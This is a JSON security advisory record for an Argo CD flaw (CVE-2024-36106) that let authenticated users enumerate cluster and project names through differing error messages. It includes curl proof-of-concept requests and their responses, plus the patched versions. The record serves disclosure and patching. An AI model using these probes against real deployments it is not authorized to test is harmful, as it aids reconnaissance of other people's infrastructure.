{"id":"GHSA-3cqf-953p-h5cp","summary":"Argo-cd authenticated users can enumerate clusters by name","details":"### Impact\nIt’s possible for authenticated users to enumerate clusters by name by inspecting error messages:\n\n```\n$ curl -k 'https://localhost:8080/api/v1/clusters/in-cluster?id.type=name' -H \"Authorization: \nBearer $token\"\n{\"error\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, , sub: alice, iat: 2022-11-04T20:25:44Z\"}⏎                                 \n                                   \n$ curl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorizati\non: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\nIt’s also possible to enumerate the names of projects with project-scoped clusters if you know the names of the clusters.\n```\ncurl -k 'https://localhost:8080/api/v1/clusters/in-cluster-project?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\",\"code\":7,\"message\":\"permission denied: clusters, get, default/, sub: alice, iat: 2022-11-04T20:25:44Z\"}\n\ncurl -k 'https://localhost:8080/api/v1/clusters/does-not-exist?id.type=name' -H \"Authorization: Bearer $token\"\n{\"error\":\"permission denied\",\"code\":7,\"message\":\"permission denied\"}\n```\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\nv2.11.3\nv2.10.12\nv2.9.17\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\nJoin us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\nCredits\nThis vulnerability was found & reported by @crenshaw-dev (Michael Crenshaw)\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n","aliases":["BIT-argo-cd-2024-36106","CVE-2024-36106","GO-2024-2898"],"modified":"2024-06-28T15:59:48.153343Z","published":"2024-06-06T19:04:54Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2024-06-06T19:04:54Z","nvd_published_at":"2024-06-06T15:15:45Z","cwe_ids":["CWE-209"]},"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-3cqf-953p-h5cp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-36106"},{"type":"WEB","url":"https://github.com/argoproj/argo-cd/commit/c2647055c261a550e5da075793260f6524e65ad9"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"}],"affected":[{"package":{"name":"github.com/argoproj/argo-cd","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.11.0"},{"fixed":"2.9.17"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json"}},{"package":{"name":"github.com/argoproj/argo-cd","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.10.0"},{"fixed":"2.10.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json"}},{"package":{"name":"github.com/argoproj/argo-cd","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-cd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.11.0"},{"fixed":"2.11.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-3cqf-953p-h5cp/GHSA-3cqf-953p-h5cp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}